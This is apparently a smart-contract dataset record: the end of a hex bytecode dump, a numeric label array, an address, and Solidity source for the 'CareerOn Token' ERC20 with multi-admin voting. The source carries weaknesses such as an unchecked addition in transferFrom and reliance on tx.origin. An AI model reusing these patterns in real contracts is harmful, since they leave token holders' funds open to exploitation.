ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050615134565b50505050565b60006138d78261537f565b905060008114156138e85750613c10565b60006138f383615522565b90506000818301905060008083141561391a57603954670de0b6b3a764000003905061396f565b613941846139338460395461506490919063ffffffff16565b6150ea90919063ffffffff16565b905080670de0b6b3a764000011156139655780670de0b6b3a764000003905061396e565b50505050613c10565b5b60008114156139815750505050613c10565b60008090505b603480549050811015613c0a576000603482815481106139a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015613a4f57600080fd5b505afa158015613a63573d6000803e3d6000fd5b505050506040513d6020811015613a7957600080fd5b810190808051906020019092919050505090506000811415613a9c575050613bfd565b6000613ab1858361501890919063ffffffff16565b90506000613abf848b615592565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015613afe5750600082115b15613bf8576000819050613b3381848773ffffffffffffffffffffffffffffffffffffffff1661574a9092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff166347e7ef2486856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613bba57600080fd5b505af1158015613bce573d6000803e3d6000fd5b505050506040513d6020811015613be457600080fd5b810190808051906020019092919050505050505b505050505b8080600101915050613987565b50505050505b50565b6000807f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b9050805491505090565b6000613d6e600a603760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0c215856040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613cd9578082015181840152602081019050613cbe565b50505050905090810190601f168015613d065780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015613d2557600080fd5b505af1158015613d39573d6000803e3d6000fd5b505050506040513d6020811015613d4f57600080fd5b81019080805190602001909291905050506144da90919063ffffffff16565b9050919050565b60008211613deb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b6000806038541115613e3f576000613e22612710613e146038548761506490919063ffffffff16565b6150ea90919063ffffffff16565b9050613e37818561581b90919063ffffffff16565b915050613e43565b8290505b6060613e4e8261493a565b905060008090505b60348054905081101561422c576000828281518110613e7157fe5b60200260200101511415613e845761421f565b600060348281548110613e9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050828281518110613ecc57fe5b60200260200101518173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015613f5157600080fd5b505afa158015613f65573d6000803e3d6000fd5b505050506040513d6020811015613f7b57600080fd5b810190808051906020019092919050505010613fd457613fcf33848481518110613fa157fe5b60200260200101518373ffffffffffffffffffffffffffffffffffffffff1661574a9092919063ffffffff16565b61421d565b600061402b60348481548110613fe657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685858151811061401d57fe5b602002602001015188615865565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146141ad5760008190508073ffffffffffffffffffffffffffffffffffffffff1663d9caed12336034878154811061409057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168888815181106140c757fe5b60200260200101516040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561416b57600080fd5b505af115801561417f573d6000803e3d6000fd5b505050506040513d602081101561419557600080fd5b8101908080519060200190929190505050505061421b565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4c6971756964697479206572726f72000000000000000000000000000000000081525060200191505060405180910390fd5b505b505b8080600101915050613e56565b50603c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac33866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156142d657600080fd5b505af11580156142ea573d6000803e3d6000fd5b50505050603b548411801561430c5750603760149054906101000a900460ff16155b1561431c5761431a836135cd565b505b7f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a63385604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b6060808273ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156143d657600080fd5b505afa1580156143ea573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561441457600080fd5b810190808051604051939291908464010000000082111561443457600080fd5b8382019150602082018581111561444a57600080fd5b825186600182028301116401000000008211171561446757600080fd5b8083526020830192505050908051906020019080838360005b8381101561449b578082015181840152602081019050614480565b50505050905090810190601f1680156144c85780820380516001836020036101000a031916815260200191505b50604052505050905080915050919050565b6000808260000b1315614507576145008260000b600a0a8461506490919063ffffffff16565b9250614552565b60008260000b12156145515761454e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff830260000b600a0a846150ea90919063ffffffff16565b92505b5b82905092915050565b6000807f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b9050805491505090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561462f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e657720476f7665726e6f72206973206164647265737328302900000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661464e613c13565b73ffffffffffffffffffffffffffffffffffffffff167fc7c0c772add429241571afb3805861fb3cfa2af374534088b76cdb4325a87e9a60405160405180910390a361469981615ae8565b50565b6000808290508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561471f57600080fd5b505afa158015614733573d6000803e3d6000fd5b505050506040513d602081101561474957600080fd5b8101908080519060200190929190505050915060008090505b6036805490508110156149335760006036828154811061477e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663aa388af6866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561482857600080fd5b505afa15801561483c573d6000803e3d6000fd5b505050506040513d602081101561485257600080fd5b810190808051906020019092919050505015614925578073ffffffffffffffffffffffffffffffffffffffff16635f515226866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156148e557600080fd5b505afa1580156148f9573d6000803e3d6000fd5b505050506040513d602081101561490f57600080fd5b8101908080519060200190929190505050840193505b508080600101915050614762565b5050919050565b6060806149476001613189565b90506000614953615b17565b90506000809050600061496461276b565b9050806040519080825280602002602001820160405280156149955781602001602082028038833980820191505090505b50945060008090505b603480549050811015614add5760006149ed603483815481106149bd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661349f565b90506000614a6a86614a5c8b614a4e86601203614a4060348a81548110614a1057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661469c565b6144da90919063ffffffff16565b61506490919063ffffffff16565b6150ea90919063ffffffff16565b90506000811115614ace57614a9b878481518110614a8457fe5b60200260200101518261501890919063ffffffff16565b85019450614ab560128303826144da90919063ffffffff16565b888481518110614ac157fe5b6020026020010181815250505b5050808060010191505061499e565b506000828703905060008090505b8651811015614beb576000878281518110614b0257fe5b60200260200101511415614b1557614bde565b6000821215614b7c57614b5984614b4b898481518110614b3157fe5b60200260200101518560000361506490919063ffffffff16565b6150ea90919063ffffffff16565b878281518110614b6557fe5b602002602001018181510391508181525050614bdd565b6000821315614bdc57614bbd84614baf898481518110614b9857fe5b60200260200101518561506490919063ffffffff16565b6150ea90919063ffffffff16565b878281518110614bc957fe5b6020026020010181815101915081815250505b5b5b8080600101915050614aeb565b505050505050919050565b6000614d20600a603760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166319af6bf0856040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614c8b578082015181840152602081019050614c70565b50505050905090810190601f168015614cb85780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015614cd757600080fd5b505af1158015614ceb573d6000803e3d6000fd5b505050506040513d6020811015614d0157600080fd5b81019080805190602001909291905050506144da90919063ffffffff16565b9050919050565b6000614d3282615522565b614d3b8361537f565b019050919050565b6000809050600083905060008090505b603480549050811015614fd4576000614da260348381548110614d7257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661349f565b90508273ffffffffffffffffffffffffffffffffffffffff1663aa388af660348481548110614dcd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015614e5857600080fd5b505afa158015614e6c573d6000803e3d6000fd5b505050506040513d6020811015614e8257600080fd5b810190808051906020019092919050505015614fc65760008373ffffffffffffffffffffffffffffffffffffffff16635f51522660348581548110614ec357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015614f4e57600080fd5b505afa158015614f62573d6000803e3d6000fd5b505050506040513d6020811015614f7857600080fd5b810190808051906020019092919050505090506000811115614fc457614fbf868481518110614fa357fe5b602002602001015183600a0a836135989092919063ffffffff16565b850194505b505b508080600101915050614d53565b505092915050565b600080614ffa670de0b6b3a76400008561506490919063ffffffff16565b905061500f83826150ea90919063ffffffff16565b91505092915050565b600061502d8383670de0b6b3a7640000613598565b905092915050565b60007f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b90508181555050565b60008083141561507757600090506150e4565b600082840290508284828161508857fe5b04146150df576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615e9c6021913960400191505060405180910390fd5b809150505b92915050565b600061512c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250615bde565b905092915050565b6151538273ffffffffffffffffffffffffffffffffffffffff16615ca4565b6151c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061521457805182526020820191506020810190506020830392506151f1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114615276576040519150601f19603f3d011682016040523d82523d6000602084013e61527b565b606091505b5091509150816152f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156153795780806020019051602081101561531257600080fd5b8101908080519060200190929190505050615378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615ebd602a913960400191505060405180910390fd5b5b50505050565b600080905060008090505b60348054905081101561551c576000603482815481106153a657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000615415603484815481106153e557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661349f565b905060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561549657600080fd5b505afa1580156154aa573d6000803e3d6000fd5b505050506040513d60208110156154c057600080fd5b81019080805190602001909291905050509050600081111561550c576155078685815181106154eb57fe5b602002602001015183600a0a836135989092919063ffffffff16565b850194505b505050808060010191505061538a565b50919050565b600080905060008090505b60368054905081101561558c5761557b6036828154811061554a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684614d43565b82019150808060010191505061552d565b50919050565b6000809050600080905060008090505b603680549050811015615742576000603682815481106155be57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663aa388af6876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561566857600080fd5b505afa15801561567c573d6000803e3d6000fd5b505050506040513d602081101561569257600080fd5b8101908080519060200190929190505050156157345760006156eb603684815481106156ba57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687615cef565b9050838112615732578093506036838154811061570457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694505b505b5080806001019150506155a2565b505092915050565b615816838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050615134565b505050565b600061585d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250615d61565b905092915050565b60008090506000670de0b6b3a7640000905060008090505b603680549050811015615adf5760006036828154811061589957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663aa388af6886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561594357600080fd5b505afa158015615957573d6000803e3d6000fd5b505050506040513d602081101561596d57600080fd5b81019080805190602001909291905050508015615a405750858173ffffffffffffffffffffffffffffffffffffffff16635f515226896040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015615a0357600080fd5b505afa158015615a17573d6000803e3d6000fd5b505050506040513d6020811015615a2d57600080fd5b8101908080519060200190929190505050115b15615ad1576000615a8860368481548110615a5757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687615cef565b9050838113615acf5780935060368381548110615aa157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694505b505b50808060010191505061587d565b50509392505050565b60007f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b90508181555050565b600080905060008090505b603480549050811015615bda576000615b7160348381548110615b4157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661349f565b9050615bc881601203615bba60348581548110615b8a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661469c565b6144da90919063ffffffff16565b83019250508080600101915050615b22565b5090565b60008083118290615c8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615c4f578082015181840152602081019050615c34565b50505050905090810190601f168015615c7c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581615c9657fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015615ce657506000801b8214155b92505050919050565b6000615d15615cfd83614d27565b615d078585614d43565b614fdc90919063ffffffff16565b603560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015403905092915050565b6000838311158290615e0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615dd3578082015181840152602081019050615db8565b50505050905090810190601f168015615e005780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b815481835581811115615e4857818360005260206000209182019101615e479190615e4d565b5b505050565b615e6f91905b80821115615e6b576000816000905550600101615e53565b5090565b9056fe546f6b656e206d75737420686176652073756666696369656e7420646563696d616c20706c61636573536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565644f6e6c79207468652070656e64696e6720476f7665726e6f722063616e20636f6d706c6574652074686520636c61696da265627a7a723158203a1df425dc20456e235992a95e327683d2653e71152ba32286ce3724651d550d64736f6c634300050b0032
[ 0, 20, 9, 12, 16, 5 ]
0xf251fbfc6c3c69e7ca7a9a43b98a89dc7eef32e8
pragma solidity ^0.4.16; contract moduleTokenInterface{ uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed a_owner, address indexed _spender, uint256 _value); event OwnerChang(address indexed _old,address indexed _new,uint256 _coin_change); event adminUsrChange(address usrAddr,address changeBy,bool isAdded); event onAdminTransfer(address to,uint256 value); } contract moduleToken is moduleTokenInterface { struct transferPlanInfo{ uint256 transferValidValue; bool isInfoValid; } struct ethPlanInfo{ uint256 ethNum; uint256 coinNum; bool isValid; } //管理员之一发起一个转账操作,需要多人批准时采用这个数据结构 struct transferEthAgreement{ //要哪些人签署 mapping(address=>bool) signUsrList; //已经签署的人数 uint32 signedUsrCount; //要求转出的eth数量 uint256 transferEthInWei; //转往哪里 address to; //当前转账要求的发起人 address infoOwner; //当前记录是否有效(必须123456789) uint32 magic; //是否生效了 bool isValid; } string public name; //名称,例如"My test token" uint8 public decimals; //返回token使用的小数点后几位。比如如果设置为3,就是支持0.001表示. string public symbol; //token简称,like MTT address public owner; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; //是否允许直接接受eth而不返回cot bool public canRecvEthDirect=false; //以下为本代币协议特殊逻辑所需的相关变 // //币的价格,为0时则花钱按价格购买的逻辑不生效 uint256 public coinPriceInWei; //在列表里的人转出代币必须遵守规定的时间、数量限制(比如实现代币定时解冻) mapping(address=>transferPlanInfo) public transferPlanList; //指定的人按指定的以太币数量、代币数量购买代币,不按价格逻辑购买(比如天使轮募资) //否则按价格相关逻辑处理购买代币的请求 mapping(address => ethPlanInfo) public ethPlanList; uint public blockTime=block.timestamp; bool public isTransPaused=true;//为true时禁止转账 //实现多管理员相关的变量 struct adminUsrInfo{ bool isValid; string userName; string descInfo; } mapping(address=>adminUsrInfo) public adminOwners; //管理员组 bool public isAdminOwnersValid; uint32 public adminUsrCount;//有效的管理员用户数 mapping(uint256=>transferEthAgreement) public transferEthAgreementList; function moduleToken( uint256 _initialAmount, uint8 _decimalUnits) public { owner=msg.sender;//记录合约的owner if(_initialAmount<=0){ totalSupply = 100000000000; // 设置初始总量 balances[owner]=100000000000; }else{ totalSupply = _initialAmount; // 设置初始总量 balances[owner]=_initialAmount; } if(_decimalUnits<=0){ decimals=2; }else{ decimals = _decimalUnits; } name = "CareerOn Token"; symbol = "COT"; } function changeContractName(string _newName,string _newSymbol) public { require(msg.sender==owner || adminOwners[msg.sender].isValid); name=_newName; symbol=_newSymbol; } function transfer( address _to, uint256 _value) public returns (bool success) { if(isTransPaused){ emit Transfer(msg.sender, _to, 0);//触发转币交易事件 revert(); return; } //默认totalSupply 不会超过最大值 (2^256 - 1). //如果随着时间的推移将会有新的token生成,则可以用下面这句避免溢出的异常 if(_to==address(this)){ emit Transfer(msg.sender, _to, 0);//触发转币交易事件 revert(); return; } if(balances[msg.sender] < _value || balances[_to] + _value <= balances[_to]) { emit Transfer(msg.sender, _to, 0);//触发转币交易事件 revert(); return; } if(transferPlanList[msg.sender].isInfoValid && transferPlanList[msg.sender].transferValidValue<_value) { emit Transfer(msg.sender, _to, 0);//触发转币交易事件 revert(); return; } balances[msg.sender] -= _value;//从消息发送者账户中减去token数量_value balances[_to] += _value;//往接收账户增加token数量_value if(transferPlanList[msg.sender].isInfoValid){ transferPlanList[msg.sender].transferValidValue -=_value; } emit Transfer(msg.sender, _to, _value);//触发转币交易事件 return true; } function transferFrom( address _from, address _to, uint256 _value) public returns (bool success) { if(isTransPaused){ emit Transfer(_from, _to, 0);//触发转币交易事件 revert(); return; } if(_to==address(this)){ emit Transfer(_from, _to, 0);//触发转币交易事件 revert(); return; } if(balances[_from] < _value || allowed[_from][msg.sender] < _value) { emit Transfer(_from, _to, 0);//触发转币交易事件 revert(); return; } if(transferPlanList[_from].isInfoValid && transferPlanList[_from].transferValidValue<_value) { emit Transfer(_from, _to, 0);//触发转币交易事件 revert(); return; } balances[_to] += _value;//接收账户增加token数量_value balances[_from] -= _value; //支出账户_from减去token数量_value allowed[_from][msg.sender] -= _value;//消息发送者可以从账户_from中转出的数量减少_value if(transferPlanList[_from].isInfoValid){ transferPlanList[_from].transferValidValue -=_value; } emit Transfer(_from, _to, _value);//触发转币交易事件 return true; } function balanceOf(address accountAddr) public constant returns (uint256 balance) { return balances[accountAddr]; } function approve(address _spender, uint256 _value) public returns (bool success) { require(msg.sender!=_spender && _value>0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender];//允许_spender从_owner中转出的token数 } //以下为本代币协议的特殊逻辑 //转移协议所有权并将附带的代币一并转移过去 function changeOwner(address newOwner) public{ require(msg.sender==owner && msg.sender!=newOwner); balances[newOwner]=balances[owner]; balances[owner]=0; owner=newOwner; emit OwnerChang(msg.sender,newOwner,balances[owner]);//触发合约所有权的转移事件 } function setPauseStatus(bool isPaused)public{ if(msg.sender!=owner && !adminOwners[msg.sender].isValid){ revert(); return; } isTransPaused=isPaused; } //设置转账限制,比如冻结什么的 function setTransferPlan(address addr, uint256 allowedMaxValue, bool isValid) public { if(msg.sender!=owner && !adminOwners[msg.sender].isValid){ revert(); return ; } transferPlanList[addr].isInfoValid=isValid; if(transferPlanList[addr].isInfoValid){ transferPlanList[addr].transferValidValue=allowedMaxValue; } } //把本代币协议账户下的eth转到指定账户 function TransferEthToAddr(address _to,uint256 _value)public payable{ require(msg.sender==owner && !isAdminOwnersValid); _to.transfer(_value); } function createTransferAgreement(uint256 agreeMentId, uint256 transferEthInWei, address to) public { require(msg.sender==tx.origin); require(adminOwners[msg.sender].isValid && transferEthAgreementList[agreeMentId].magic!=123456789 && transferEthAgreementList[agreeMentId].magic!=987654321); transferEthAgreementList[agreeMentId].magic=123456789; transferEthAgreementList[agreeMentId].infoOwner=msg.sender; transferEthAgreementList[agreeMentId].transferEthInWei=transferEthInWei; transferEthAgreementList[agreeMentId].to=to; transferEthAgreementList[agreeMentId].isValid=true; transferEthAgreementList[agreeMentId].signUsrList[msg.sender]=true; transferEthAgreementList[agreeMentId].signedUsrCount=1; } function disableTransferAgreement(uint256 agreeMentId) public { require(msg.sender==tx.origin); require(transferEthAgreementList[agreeMentId].infoOwner==msg.sender && transferEthAgreementList[agreeMentId].magic==123456789); transferEthAgreementList[agreeMentId].isValid=false; transferEthAgreementList[agreeMentId].magic=987654321; } function sign(uint256 agreeMentId,address to,uint256 transferEthInWei) public payable{ require(tx.origin==msg.sender); require(transferEthAgreementList[agreeMentId].magic==123456789 && transferEthAgreementList[agreeMentId].isValid && transferEthAgreementList[agreeMentId].transferEthInWei==transferEthInWei && transferEthAgreementList[agreeMentId].to==to && adminOwners[msg.sender].isValid && transferEthAgreementList[agreeMentId].signUsrList[msg.sender]!=true && adminUsrCount>=2 ); transferEthAgreementList[agreeMentId].signUsrList[msg.sender]=true; transferEthAgreementList[agreeMentId].signedUsrCount++; if(transferEthAgreementList[agreeMentId].signedUsrCount<=adminUsrCount/2) { return; } to.transfer(transferEthInWei); transferEthAgreementList[agreeMentId].isValid=false; transferEthAgreementList[agreeMentId].magic=987654321; emit onAdminTransfer(to,transferEthInWei); return; } struct needToAddAdminInfo{ uint256 magic; mapping(address=>uint256) postedPeople; uint32 postedCount; } mapping(address=>needToAddAdminInfo) public needToAddAdminInfoList; function addAdminOwners(address usrAddr, string userName, string descInfo)public { require(msg.sender==tx.origin); needToAddAdminInfo memory info; //不是管理员也不是owner,则禁止任何操作 if(!adminOwners[msg.sender].isValid && owner!=msg.sender){ revert(); return; } //任何情况,owner地址不可以被添加到管理员组 if(usrAddr==owner){ revert(); return; } //已经在管理员组的不可以被添加 if(adminOwners[usrAddr].isValid){ revert(); return; } //不允许添加自己到管理员组 if(usrAddr==msg.sender){ revert(); return; } //管理员不到2人时,owner可以至多添加2人到管理员 if(adminUsrCount<2){ if(msg.sender!=owner){ revert(); return; } adminOwners[usrAddr].isValid=true; adminOwners[usrAddr].userName=userName; adminOwners[usrAddr].descInfo=descInfo; adminUsrCount++; if(adminUsrCount>=2) isAdminOwnersValid=true; emit adminUsrChange(usrAddr,msg.sender,true); return; } //管理员大于等于2人时,owner添加管理员需要得到过半数管理员的同意,而且至少必须是2 if(msg.sender==owner){ //某个用户已经被要求添加到管理员组,owner此时是没有投票权的 if(needToAddAdminInfoList[usrAddr].magic==123456789){ revert(); return; } //允许owner把某个人添加到要求进入管理员组的列表里,后续由其它管理员投票 info.magic=123456789; info.postedCount=0; needToAddAdminInfoList[usrAddr]=info; return; }//管理员大于等于2人时,owner添加新的管理员,必须过半数管理员同意且至少是2 else if(adminOwners[msg.sender].isValid) { //管理员只能投票确认添加管理员,不能直接添加管理员 if(needToAddAdminInfoList[usrAddr].magic!=123456789){ revert(); return; } //已经投过票的管理员不允许再投 if(needToAddAdminInfoList[usrAddr].postedPeople[msg.sender]==123456789){ revert(); return; } needToAddAdminInfoList[usrAddr].postedCount++; needToAddAdminInfoList[usrAddr].postedPeople[msg.sender]=123456789; if(adminUsrCount>=2 && needToAddAdminInfoList[usrAddr].postedCount>adminUsrCount/2){ adminOwners[usrAddr].userName=userName; adminOwners[usrAddr].descInfo=descInfo; adminOwners[usrAddr].isValid=true; needToAddAdminInfoList[usrAddr]=info; adminUsrCount++; emit adminUsrChange(usrAddr,msg.sender,true); return; } }else{ return revert();//其它情况一律不可以添加管理员 } } struct needDelFromAdminInfo{ uint256 magic; mapping(address=>uint256) postedPeople; uint32 postedCount; } mapping(address=>needDelFromAdminInfo) public needDelFromAdminInfoList; function delAdminUsrs(address usrAddr) public { require(msg.sender==tx.origin); //不是管理员也不是owner,则禁止任何操作 if(!adminOwners[msg.sender].isValid && owner!=msg.sender){ revert(); return; } needDelFromAdminInfo memory info; //尚不是管理员,无需删除 if(!adminOwners[usrAddr].isValid){ revert(); return; } //当前管理员数小于4的话不让再删用户 if(adminUsrCount<4){ revert(); return; } //当前管理员数是奇数时不让删用户 if(adminUsrCount%2!=0){ revert(); return; } //不允许把自己退出管理员 if(usrAddr==msg.sender){ revert(); return; } if(msg.sender==owner){ //owner没有权限确认删除管理员 if(needDelFromAdminInfoList[usrAddr].magic==123456789){ revert(); return; } //owner可以提议删除管理员,但是需要管理员过半数同意 info.magic=123456789; info.postedCount=0; needDelFromAdminInfoList[usrAddr]=info; return; } //管理员确认删除用户 //管理员只有权限确认删除 if(needDelFromAdminInfoList[usrAddr].magic!=123456789){ revert(); return; } //已经投过票的不允许再投 if(needDelFromAdminInfoList[usrAddr].postedPeople[msg.sender]==123456789){ revert(); return; } needDelFromAdminInfoList[usrAddr].postedCount++; needDelFromAdminInfoList[usrAddr].postedPeople[msg.sender]=123456789; //同意的人数尚未超过一半则直接返回 if(needDelFromAdminInfoList[usrAddr].postedCount<=adminUsrCount/2){ return; } //同意的人数超过一半 adminOwners[usrAddr].isValid=false; if(adminUsrCount>=1) adminUsrCount--; if(adminUsrCount<=1) isAdminOwnersValid=false; needDelFromAdminInfoList[usrAddr]=info; emit adminUsrChange(usrAddr,msg.sender,false); } //设置指定人按固定eth数、固定代币数购买代币,比如天使轮募资 function setEthPlan(address addr,uint256 _ethNum,uint256 _coinNum,bool _isValid) public { require(msg.sender==owner && _ethNum>=0 && _coinNum>=0 && (_ethNum + _coinNum)>0 && _coinNum<=balances[owner]); ethPlanList[addr].isValid=_isValid; if(ethPlanList[addr].isValid){ ethPlanList[addr].ethNum=_ethNum; ethPlanList[addr].coinNum=_coinNum; } } 